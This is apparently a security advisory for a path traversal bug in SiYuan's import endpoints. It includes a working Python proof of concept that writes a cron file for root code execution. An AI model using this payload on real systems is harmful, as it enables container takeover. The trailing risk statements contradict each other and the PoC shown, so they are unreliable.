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GHSA-qvvf-q994-x79v
No affected components available
Summary
POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.
Details
File: kernel/api/import.go - functions importSY and importZipMd
file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)
importZipMd has a second traversal in unzipPath construction:
filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)
filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
import requests, zipfile, io
HOST = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr("TestNB/20240101000000-abcdefg.sy",
'{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})
print(r.text)
RCE via cron (root container):
cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
data={"notebook": "NOTEBOOK_ID", "toPath": "/"})
Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}
Impact
An admin can write arbitrary content to any path writable by the SiYuan process:
- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys
- Data destruction by overwriting workspace or application files
- In Docker containers running as root (common default), this grants full container compromise
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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